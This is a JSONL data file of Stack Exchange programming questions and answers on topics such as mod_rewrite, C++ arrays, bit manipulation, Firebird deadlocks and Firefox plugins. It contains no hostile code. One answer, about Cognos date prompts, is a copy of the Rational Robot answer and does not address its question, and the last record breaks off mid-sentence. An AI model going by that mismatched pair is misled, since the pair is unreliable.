{"id": "hf_29fe925a63cc", "question": "<p>It's big problem to convert mod_rewrite rules to lighttpd format</p>\n", "question_body": "", "answer": "It is generally a case of just going through one by one and converting them.  I don't know of any automated means,\nThe docs -\nhttp://redmine.lighttpd.net/projects/1/wiki/Docs:ModRewrite\n- has the regexes available, and some examples.\nif there are any particularly problematical items, I'd edit the question to show them, and ask for the answers here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.055880"}
{"id": "hf_038d4942274d", "question": "<p>What are the advantages/disadvantages between MS VS C++ 6.0 and MSVS C++ 2008? </p>\n\n<p>The main reason for asking such a question is that there are still many decent programmers that prefer using the older version instead of the newest version.</p>\n\n<p>Is there any reason the might prefer the older over the new?</p>\n", "question_body": "", "answer": "Well, for one thing it may be because the executables built with MSVS 6 require only msvcrt.dll (C runtime) which is shipped with Windows now.\nThe MSVS 2008 executables need msvcrt9 shipped with them (or already installed).\nPlus, you have a lot of OSS libraries already compiled for Windows 32 bit with the 6.0 C runtime, while for the 2008 C runtime you have to take the source and compile them yourself.\n(most of those libraries are actually compiled with MinGW, which too uses the 6.0 C runtime - maybe that's another reason).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.080664"}
{"id": "hf_47df407bc74b", "question": "<p>We are developing a middleware SDK, both in C++ and Java to be used as a library/DLL by, for example, game developers, animation software developers, Avatar developers to enhance their products.</p>\n\n<p>What I would like to know is this: Are there standard \"Best Practices\" for the development of these types of API?</p>\n\n<p>I am thinking in terms of usability, readability, efficiency etc.</p>\n", "question_body": "", "answer": "There are lots of ways to design apis, depending on what you are solving. I think a full answer to this question would be worthy off a whole book, such as the\ngang of four patterns book\n. For Java specifically, and also just OO programming in general, I would recommend\nEffective Java 2nd Edition\n. The first is general and a lot of popular programming patterns, when they apply and their benefits. Effective Java is Java centered, but parts of it is general enough to apply to any programming language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.105293"}
{"id": "hf_31b4abfdbe3f", "question": "<p>Rather than rewriting the entire contents of an xml file when a single element is updated, is there a better alternative to updating the file?</p>\n", "question_body": "", "answer": "I would recommend using VTD-XML\nhttp://vtd-xml.sourceforge.net/\nFrom their FAQ (\nhttp://vtd-xml.sourceforge.net/faq.html\n):\nWhy should I use VTD-XML for large XML files?\nFor numerous reasons summarized below:\nPerformance: The performance of VTD-XML is far better than SAX\nEase to use: Random access combined with XPath makes application easy to write\nBetter maintainability: App code is shorter and simpler to understand.\nIncremental update: Occasional, small changes become very efficient.\nIndexing: Pre-parsed form of XML will further boost processing performance.\nOther features: Cut, paste, split and assemble XML documents is only possible with VTD-XML.\nIn order to take advantage of VTD-XML, we recommended that developers split their ultra large XML documents into smaller, more manageable  chucks (<2GB).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.166350"}
{"id": "hf_5e3da196d531", "question": "<p>I have looked in vain for a good example or starting point to write a java based facebook application...  I was hoping that someone here would know of one.  As well, I hear that facebook will no longer support their java API is this true and if yes does that mean that we should no longer use java to write facebook apps??</p>\n", "question_body": "", "answer": "Facebook stopped supporting the official Java API on 5 May 2008 according to their\ndeveloper wiki\n.\nIn no way does that mean you shouldn't use Java any more to write FB apps. There are several alternative Java approaches outlined on the wiki.\nYou might also want to check\nthis project\nout; however, it only came out a few days ago so YMMV.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.203358"}
{"id": "hf_86576df4935a", "question": "<p>I load some XML from a servlet from my Flex application like this:</p>\n\n<pre><code>_loader = new URLLoader();\n_loader.load(new URLRequest(_servletURL+\"?do=load&amp;id=\"+_id));\n</code></pre>\n\n<p>As you can imagine <code>_servletURL</code> is something like <a href=\"http://foo.bar/path/to/servlet\" rel=\"nofollow noreferrer\">http://foo.bar/path/to/servlet</a></p>\n\n<p>In some cases, this URL contains accented characters (long story). I pass the <code>unescaped</code> string to <code>URLRequest</code>, but it seems that flash escapes it and calls the escaped URL, which is invalid. Ideas?</p>\n", "question_body": "", "answer": "I'm not sure if this will be any different, but this is a cleaner way of achieving the same URLRequest:\n```\n```\nvar request:URLRequest = new URLRequest(_servletURL)\nrequest.method = URLRequestMethod.GET;\nvar reqData:Object = new Object();\n\nreqData.do = \"load\";\nreqData.id = _id;\nrequest.data = reqData;\n\n_loader = new URLLoader(request);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.240615"}
{"id": "hf_380b69d48372", "question": "<p>Nokia has stopped offering its Developer's Suite, relying on other IDEs, including Eclipse. Meanwhile, Nokia changed its own development tools again and EclipseMe has also changed. This leaves most documentation irrelevant. </p>\n\n<p>I want to know what does it take to make a simple Hello-World?</p>\n\n<p>(I already found out myself, so this is a Q&amp;A for other people to use)</p>\n", "question_body": "", "answer": "Here's what's needed to make a simple hello world -\nGet\nEclipse\nIDE for Java. I used Ganymede. Set it up.\nGet Sun's\nWireless Toolkit\n. I used 2.5.2. Install it.\nGet Nokia's SDK (\nfound here\n), in my case for S40 6230i Edition, and install it choosing the option to\nintegrate with Sun's WTK\nFollow the instructions at\nhttp://www.eclipseme.org/\nto download and install Mobile Tools Java (MTJ). I used version 1.7.9.\nWhen configuring devices profiles in MTJ (inside Eclipse) use the Nokia device from the WTK folder and NOT from Nokia's folder.\nSet the WTK root to the main installation folder - for instance c:\\WTK2.5.2; Note that the WTK installer creates other folders apparently for backward compatibility.\nGet\nAntenna\nand set its location in MTJ's property page (in Eclipse).\nHere's an HelloWorld sample to test the configuration.\nNote: It worked for me on WindowsXP.\nAlso note: This should work for S60 as well. Just replace the S40 SDK in phase 3 with S60's.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.315312"}
{"id": "hf_a4d16425076a", "question": "<p>I would like to find out safe ways of implementing three dimensional arrays of integers in C++, using pointer arithmetic / dynamic memory allocation, or, alternatively using <code>STL</code> techniques such as vectors.</p>\n\n<p>Essentially I want my integer array dimensions to look like:</p>\n\n<pre><code>[ x ][ y ][ z ]\n</code></pre>\n\n<p>x and y are in the range 20-6000\nz is known and equals 4.</p>\n", "question_body": "", "answer": "Have a look at the Boost\nmulti-dimensional array\nlibrary. Here's an example (adapted from the Boost documentation):\n```\n```\n#include \"boost/multi_array.hpp\"\n\nint main() {\n  // Create a 3D array that is 20 x 30 x 4\n  int x = 20;\n  int y = 30;\n  int z = 4;\n\n  typedef boost::multi_array<int, 3> array_type;\n  typedef array_type::index index;\n  array_type my_array(boost::extents[x][y][z]);\n\n  // Assign values to the elements\n  int values = 0;\n  for (index i = 0; i != x; ++i) {\n    for (index j = 0; j != y; ++j) {\n      for (index k = 0; k != z; ++k) {\n        my_array[i][j][k] = values++;\n      }\n    }\n  }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.402794"}
{"id": "hf_fe03cb2f97d2", "question": "<p>What is the dependency inversion principle and why is it important?</p>\n", "question_body": "", "answer": "Check this document out:\nThe Dependency Inversion Principle\n.\nIt basically says:\nHigh level modules should not depend upon low-level modules. Both should depend upon abstractions.\nAbstractions should never depend upon details. Details should depend upon abstractions.\nAs to why it is important, in short: changes are risky, and by depending on a concept instead of on an implementation, you reduce the need for change at call sites.\nEffectively, the DIP reduces coupling between different pieces of code. The idea is that although there are many ways of implementing, say, a logging facility, the way you would use it should be relatively stable in time. If you can extract an interface that represents the concept of logging, this interface should be much more stable in time than its implementation, and call sites should be much less affected by changes you could make while maintaining or extending that logging mechanism.\nBy also making the implementation depend on an interface, you get the possibility to choose at run-time which implementation is better suited for your particular environment. Depending on the cases, this may be interesting too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.475976"}
{"id": "hf_3bc70f83f521", "question": "<p>I would like to move a file or folder from one place to another within the same repository without having to use Repo Browser to do it, and without creating two independent add/delete operations.  Using Repo Browser works fine except that your code will be hanging in a broken state until you get any supporting changes checked in afterwards (like the .csproj file for example).</p>\n\n<p>Update: People have suggested \"move\" from the command line. Is there a TortoiseSVN equivalent?</p>\n", "question_body": "", "answer": "From the command line, you can type\n```\nsvn mv path1 path2\n```\n. This will create an add and a delete operation, but there's not really a way around that - as far as I know - in Subversion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.526266"}
{"id": "hf_2e40ef233ad5", "question": "<p>How do you define your UserControls as being in a namespace below the project namespace, ie. [RootNameSpace].[SubSectionOfProgram].Controls?</p>\n\n<p><strong>Edit due to camainc's answer:</strong> I also have a constraint that I have to have all the code in a single project.</p>\n\n<p><strong>Edit to finalise question:</strong> As I suspected it isn't possible to do what I required so camainc's answer is the nearest solution.</p>\n", "question_body": "", "answer": "I'm not sure if this is what you are asking, but this is how we do it.\nWe namespace all of our projects in a consistent manner, user controls are no different. We also namespace using the project settings window, although you could do it through a combination of the project window and in code.\nEach solution gets a namespace like this:\n```\n```\n[CompanyName].[SolutionName].[ProjectName]\n```\n```\nSo, our user controls are normally in a project called \"Controls,\" which would have a namespace of:\n```\n```\nOurCompany.ThisSolution.Controls\n```\n```\nIf we have controls that might span several different solutions, we just namespace it like so:\n```\n```\nOurCompany.Common.Controls\n```\n```\nThen, in our code we will import the library, or add the project to the solution.\n```\n```\nImports OurCompany\nImports OurCompany.Common\nImports OurCompany.Common.Controls\n```\n```\nWe also name the folders where the projects live the same as the namespace, down to but not including the company name (all solutions are assumed to be in the company namespace):\n\\Projects\n\\Projects\\MySolution\n\\Projects\\MySolution\\Controls\n-- or --\n\\Projects\\\n\\Projects\\Common\n\\Projects\\Common\\Assemblies\n\\Projects\\Common\\Controls\netc.\nHope that helps...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.560316"}
{"id": "hf_2c4a39427e46", "question": "<p>I'm trying to install <a href=\"http://laconi.ca/\" rel=\"noreferrer\">Laconica</a>, an open-source Microblogging application on my Windows development server using XAMPP as per the <a href=\"http://laconi.ca/trac/wiki/InstallationWindows\" rel=\"noreferrer\">instructions provided</a>.</p>\n<p>The website cannot find PEAR, and throws the below errors:</p>\n<blockquote>\n<p>Warning: require_once(PEAR.php) [function.require-once]: failed to open stream: No such file or directory in C:\\xampplite\\htdocs\\laconica\\lib\\common.php on line 31</p>\n<p>Fatal error: require_once() [function.require]: Failed opening required 'PEAR.php' (include_path='.;\\xampplite\\php\\pear\\PEAR') in C:\\xampplite\\htdocs\\laconica\\lib\\common.php on line 31</p>\n</blockquote>\n<ol>\n<li>PEAR is located in <code>C:\\xampplite\\php\\pear</code></li>\n<li><code>phpinfo()</code> shows me that the include path is <code>.;\\xampplite\\php\\pear</code></li>\n</ol>\n<p>What am I doing wrong? Why isn't the PEAR folder being included?</p>\n", "question_body": "", "answer": "Try adding the drive letter:\n```\n```\ninclude_path='.;c:\\xampplite\\php\\pear\\PEAR'\n```\n```\nalso verify that PEAR.php is actually there, it might be in \\php\\ instead:\n```\n```\ninclude_path='.;c:\\xampplite\\php'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.667884"}
{"id": "hf_6b351c96c393", "question": "<p>What Direct3D render states should be used to implement Java's Porter-Duff compositing rules (CLEAR, SRC, SRCOVER, etc.)?</p>\n", "question_body": "", "answer": "I'm haven't used Java too much, but based on the\nwhite paper from 1984\n, it should be a fairly straightforward mapping of render state blend modes.\nThere are of course more that you can do than just these, like normal alpha blending (SourceAlpha, InvSourceAlpha) or additive (One, One) to name a few.\n(I assume that you are asking about these specifically because you are porting some existing functionality? In that cause you may not care about other combinations...)\nAnyway, these assume a BlendOperation of Add and that AlphaBlendEnable is true.\nClear\n```\n```\nSourceBlend = Zero\nDestinationBlend = Zero\n```\n```\nA\n```\n```\nSourceBlend = One\nDestinationBlend = Zero\n```\n```\nB\n```\n```\nSourceBlend = Zero\nDestinationBlend = One\n```\n```\nA over B\n```\n```\nSourceBlend = One\nDestinationBlend = InvSourceAlpha\n```\n```\nB over A\n```\n```\nSourceBlend = InvDestinationAlpha\nDestinationBlend = One\n```\n```\nA in B\n```\n```\nSourceBlend = DestinationAlpha\nDestinationBlend = One\n```\n```\nB in A\n```\n```\nSourceBlend = Zero\nDestinationBlend = SourceAlpha\n```\n```\nA out B\n```\n```\nSourceBlend = InvDestinationAlpha\nDestinationBlend = Zero\n```\n```\nB out A\n```\n```\nSourceBlend = Zero\nDestinationBlend = InvSourceAlpha\n```\n```\nA atop B\n```\n```\nSourceBlend = DestinationAlpha\nDestinationBlend = InvSourceAlpha\n```\n```\nB atop A\n```\n```\nSourceBlend = InvDestinationAlpha\nDestinationBlend = SourceAlpha\n```\n```\nA xor B\n```\n```\nSourceBlend = InvDestinationAlpha\nDestinationBlend = InvSourceAlpha\n```\n```\nChaining these is a little more complex and would require either multiple passes or multiple texture inputs to a shader.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.691258"}
{"id": "hf_d2bf3fe5b49d", "question": "<p>I'm trying to implement a data compression idea I've had, and since I'm imagining running it against a large corpus of test data, I had thought to code it in C (I mostly have experience in scripting languages like Ruby and Tcl.) </p>\n\n<p>Looking through the O'Reilly 'cow' books on C, I realize that I can't simply index the bits of a simple 'char' or 'int' type variable as I'd like to to do bitwise comparisons and operators.  </p>\n\n<p>Am I correct in this perception?   Is it reasonable for me to use an enumerated type for representing a bit (and make an array of these, and writing functions to convert to and from char)?  If so, is such a type and functions defined in a standard library already somewhere?  Are there other (better?) approaches?   Is there some example code somewhere that someone could point me to?</p>\n\n<p>Thanks - </p>\n", "question_body": "", "answer": "It is possible.\nTo set the nth bit, use OR:\n```\n```\nx |= (1 << 5); // sets the 5th-from right\n```\n```\nTo clear a bit, use AND:\n```\n```\nx &= ~(1 << 5); // clears 5th-from-right\n```\n```\nTo flip a bit, use XOR:\n```\n```\nx ^= (1 << 5); // flips 5th-from-right\n```\n```\nTo get the value of a bit use shift and AND:\n```\n```\n(x & (1 << 5)) >> 5 // gets the value (0 or 1) of the 5th-from-right\n```\n```\nnote: the shift right 5 is to ensure the value is either 0 or 1. If you're just interested in 0/not 0, you can get by without the shift.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.740520"}
{"id": "hf_ab64d3d6ea35", "question": "<p>Is there a way to draw a line along a curved path with a gradient that varies in a direction perpendicular to the direction of the line? I am using the GDI+ framework for my graphics.</p>\n", "question_body": "", "answer": "The simple answer is no. You can create a GraphicsPath in order to describe what you would like to draw, using AddPoint/AddLine/AddBezier and so forth as needed to describe the complex path of what you want to draw. When you draw the path you can provide a Brush which can be something like LinearGradientBrush or RadialGradientBrush. Neither of those gradient brushes reacts to the actual path being drawn in the sense of changing direction as the drawing occurs. You have to specify the angles etc as constant for the entire gradient area.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.817024"}
{"id": "hf_da78c0b94592", "question": "<p>How do I implement a Copy menu item in a Windows application written in C#/.NET 2.0?</p>\n\n<p>I want to let the user to mark some text in a control and then select the Copy menu item from an Edit menu in the menubar of the application and then do a Paste in for example Excel. </p>\n\n<p>What makes my head spin is how to first determine which child form is active and then how to find the control that contains the marked text that should be copied to the clipboard. </p>\n\n<p>Help, please.</p>\n", "question_body": "", "answer": "It seems to me that you might be better off breaking this into smaller tasks/questions.\nYou have a few issues you are stuck on from the way it sounds.\nYou have multiple 'child' windows open. Is this an MDI application?\nWhen an action is performed on one of those child windows, it should fire an event in that window's event handlers. That is your first thing to set up. If this is a datagridview I would suggest a simple test to start. Try trapping the\nDataGridView.SelectionChanged\nevent. Just throw in something like\n```\nMessageBox.Show(\"I copied your datas!\");\n```\nfor now.\nThis should get you started where you will at least understand how this event will be raised to you.\nFrom here, we will need to know a little more about your datagrid, and the rows and child controls in those rows. Then we can likely create events in the render events that will be raised at the appropriate times, with the appropriate scope.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.855443"}
{"id": "hf_e858df53ba26", "question": "<p>I've been using some basic AOP style solutions for cross-cutting concerns like security, logging, validation, etc.  My solution has revolved around <a href=\"http://www.castleproject.org/container/index.html\" rel=\"nofollow noreferrer\">Castle Windsor</a> and DynamicProxy because I can apply everything using a Boo based DSL and keep my code clean of Attributes. I was told at the weekend to have a look at <a href=\"http://www.postsharp.org/\" rel=\"nofollow noreferrer\">PostSharp</a> as it's supposed to be a \"better\" solution.  I've had a quick look at PostSharp, but I've been put off by the Attribute usage.</p>\n\n<p>Has anyone tried both solutions and would care to share their experiences?</p>\n", "question_body": "", "answer": "I only looked at castle-windsor for a short time (yet) so I can't comment on that but I did use postsharp.\nPostsharp works by weaving at compile time. It ads a post-compile step to your build where it modifies your code. The code is compiled as if you just programmed the cross cutting concerns into you code. This is a bit more performant than runtime weaving and because of the use of attributes Postsharp is very easy to use. I think using attributes for AOP isn't as problematic as using it for DI. But that's just my personal taste.\nBut...\nIf you already use castle for dependency injection I don't see a good reason why you shouldn't also use it for AOP stuff. I think though the AOP at runtime is a bit slower than at compile time it's also more powerful. AOP and DI are in my opinion related concepts so I think it's a good idea to use one framework for both. So I'll probably look at the castle stuff again next project I need AOP.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.890156"}
{"id": "hf_958f94fd0bc2", "question": "<p>Is there a standard library method that converts a string that has duration in the standard ISO 8601 Duration (also used in XSD for its <code>duration</code> type) format into the .NET TimeSpan object?</p>\n\n<p>For example, P0DT1H0M0S which represents a duration of one hour, is converted into New TimeSpan(0,1,0,0,0).</p>\n\n<p>A Reverse converter does exist which works as follows:\nXml.XmlConvert.ToString(New TimeSpan(0,1,0,0,0))\nThe above expression will return P0DT1H0M0S.</p>\n", "question_body": "", "answer": "This will convert from xs:duration to TimeSpan:\n```\n```\nSystem.Xml.XmlConvert.ToTimeSpan(\"P0DT1H0M0S\")\n```\n```\nSee\nhttp://msdn.microsoft.com/en-us/library/system.xml.xmlconvert.totimespan.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.914511"}
{"id": "hf_b38f1a9b7a0c", "question": "<p>Is there any difference between a binary semaphore and mutex or are they essentially the same?</p>\n", "question_body": "", "answer": "A\nmutex\ncan be released only by\nthe thread that had acquired it\n.\nA\nbinary semaphore\ncan be signaled\nby any thread\n(or process).\nso semaphores are more suitable for some synchronization problems like producer-consumer.\nOn Windows, binary semaphores are more like event objects than mutexes.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:16.950537"}
{"id": "hf_906496e1fd3e", "question": "<p>My initial tests have shown that Robot won't work without an active, visible desktop. For example, while a scheduled task (or executed command from the continuous integration server) may be able to start robot as a command-line process, Robot will actually fail to execute the recorded script.</p>\n\n<p>Logging into the build machine to allow it an \"active desktop\" is not an acceptable solution.</p>\n\n<p>Am I missing something? Is it possible to run a pre-recorded Rational Robot script on a continuous integration server in a manner that doesn't require the machine to be physically logged into?</p>\n", "question_body": "", "answer": "You can run Rational Robot from the command line, so you should be able to set up a scheduled task to run a .BAT file to do this for you. The command is something like:\n[path to Rational Robot]\\rtrobo [script file] /user \"user name\" /project [project file] /play /build \"build name\" /nolog /close\nThe Robot documentation will have other arguments you can pass in, depending on your situation.\nIf a simple scheduled task doesn't work, then you can try setting up a STAF (\nhttp://staf.sourceforge.net/index.php\n) environment and create a job to run this.\nGood luck :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.000046"}
{"id": "hf_5fa1c3eadf6c", "question": "<p>I am working with Cognos8 Report Studio. In my report there are two date prompts: <code>START date</code> and <code>END date</code>. Users can select two different dates or make them both the same date. But the report has valid data only for the last business date of each month. For example, if Jan 31 is Sunday, valid data is available only for Jan 29 which is Friday (the last business day of the month).</p>\n\n<p>Can I have a customized \"Date Prompt\" where I can disable all other dates except the last business day of each month? Users should be able to select only month-end dates and no other dates?</p>\n", "question_body": "", "answer": "You can run Rational Robot from the command line, so you should be able to set up a scheduled task to run a .BAT file to do this for you. The command is something like:\n[path to Rational Robot]\\rtrobo [script file] /user \"user name\" /project [project file] /play /build \"build name\" /nolog /close\nThe Robot documentation will have other arguments you can pass in, depending on your situation.\nIf a simple scheduled task doesn't work, then you can try setting up a STAF (\nhttp://staf.sourceforge.net/index.php\n) environment and create a job to run this.\nGood luck :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.024550"}
{"id": "hf_b56d00172cec", "question": "<p>Is it possible to determine the MAC address of the originator of a remote connection under Windows NT 4? The remote PC opens a socket connection into my application and I can get the IP address. However I need to determine the MAC address from the information available from the socket such as the IP address of the remote device.</p>\n\n<p>I have tried using <code>SendARP</code> but this doesn't seem to be supported in Windows NT4.</p>\n", "question_body": "", "answer": "Try GetIpNetTable. This function is documented as supported as of NT 4.0 SP4.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.049419"}
{"id": "hf_e4b750e7c34b", "question": "<p>Developer looking for best method to identify a deadlock on a specific transaction inside a specific thread.  We are getting deadlock errors but these are very general in FB 2.0</p>\n\n<p>Deadlocks happening and they are leading to breakdowns in the DB connection between client and the DB.  </p>\n\n<ul>\n<li>We send live ( once a second) data to the DB.  </li>\n<li>We open a thread pool of around 30 threads and use them to ingest the data ( about 1-2 kB each second).  </li>\n<li>Sometimes the DB can only take so much that we use the next thread in the pool to keep the stream current as possible.  </li>\n</ul>\n\n<p>On occasion this produces a deadlock in addition to reaching the max thread count and breaking the connection. </p>\n\n<p>So we really need opinions on if this is the best method to ingest this amount of data every second.  We have up to 100 on these clients hitting the DB at the same time.<br>\nAverage transactions are about 1.5 to 1.8 million per day.</p>\n", "question_body": "", "answer": "I don't know of a specific way to identify the particular thread or statement. I've had to deal with FB deadlocks many times. You probably have two theads that are trying to update the same row in some table but they are doing it in separate transactions.\nThe best solution I've found is to design things so threads never have to update a row that any other thread might update. Sometimes that means having a thread that just exists to update a common table/row. The worker threads send a message to this thread. (The message could be done via another table.)\nWe run FB in many systems in the field that generate transactions (not millions per day) and we have found FB to be rock solid once we get the design correct.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.146455"}
{"id": "hf_ad0ddcc8e7e2", "question": "<p><a href=\"http://hessian.caucho.com\" rel=\"nofollow noreferrer\">Hessian</a> is a custom binary serialization protocol, (which is open-source - I think), that forms the basis for a binary cross platform remoting framework. I'd like to know if anyone here has used it, and if so, what sort of performance can we expect from a solution that bridges a Java app on one side with a C# app on the other. (Let us consider that we are serializing simple classes, and may be arrays, lists, dictionaries of simple classes.)</p>\n", "question_body": "", "answer": "This is the sort of problem that web services were designed to solve.  Although no longer simple, the SOAP format allows you to serialize objects to an XML representation on a Java/C# application, transmit them across the wire and deserialize them in the corresponding Java/C# application (Java/C# may be replaced with virtually any language that can translate an XML document).  Although \"serialize\" is used here, it is also common for this process to be referred as \"marshalling\".\nHowever, moving away from SOAP for web services is currently being considered by many.  Find out more about web services from Wikipedia:\nhttp://en.wikipedia.org/wiki/Web_services", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.182386"}
{"id": "hf_8af918df76b0", "question": "<p>For example: <code>man(1)</code>, <code>find(3)</code>, <code>updatedb(2)</code>? </p>\n\n<p>What do the numbers in parentheses (Brit. \"brackets\") mean?</p>\n", "question_body": "", "answer": "The section the command is documented in the manual. The list of sections is documented on man's manual. For example:\n```\n```\nman 1 man\nman 3 find\n```\n```\nThis is useful for when similar or exactly equal commands exist on different sections", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.203606"}
{"id": "hf_ed307fd453aa", "question": "<p>Need to show a credits screen where I want to acknowledge the many contributors to my application. </p>\n\n<p>Want it to be an automatically scrolling box, much like the credits roll at the end of the film.</p>\n", "question_body": "", "answer": "A quick and dirty method would be to use a Panel with a long list of Label controls on it that list out the various people and contributions. Then you need to set the Panel to be AutoScroll so that it has a vertical scrollbar because the list of labels goes past the bottom of the displayed Panel. Then add a time that updates the AutoScrollOffset by 1 vertical pixel each timer tick. When you get to the bottom you reset the offset to 0 and carry on. The only downside is the vertical scrollbar showing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:17.222860"}
{"id": "hf_16938fc3345e", "question": "<p>Could someone write-up a step by step guide to developing a C++ based plugin for FireFox on Windows?  </p>\n\n<p>The links and examples on <a href=\"http://www.mozilla.org/projects/plugins/\" rel=\"nofollow noreferrer\">http://www.mozilla.org/projects/plugins/</a> are all old and inaccurate - the \"NEW\" link was added to the page in 2004.</p>\n\n<p>The example could be anything, but I was thinking a plugin that lets JavaScript set the name and then displays \"Hello {Name}\".  To show 2-way communication, it could have a property that returns the full salutation.</p>\n\n<p>Though not as important, it would be nice if the plugin would work in Chrome too.</p>\n", "question_body": "", "answer": "It's fairly simple to make a plugin using NPAPI.  The key header files you'll need from the Gecko distribution are npapi.h and npupp.h.  You'll export functions from your plugin DLL or shared library with the names NP_Initialize, NP_Shutdown, NP_GetMIMEDescription, and NP_GetValue, and you'll need to also fill in the symbol table given to you in the NP_Initialize call with handlers for all of the NPP functions.\nThe key functions to implement from that set are NPP_New and NPP_Destroy.  Those define the lifecycle of a plugin instance.  If you're going to handle a media file linked from an <object> or <embed>, you'll need to also deal with 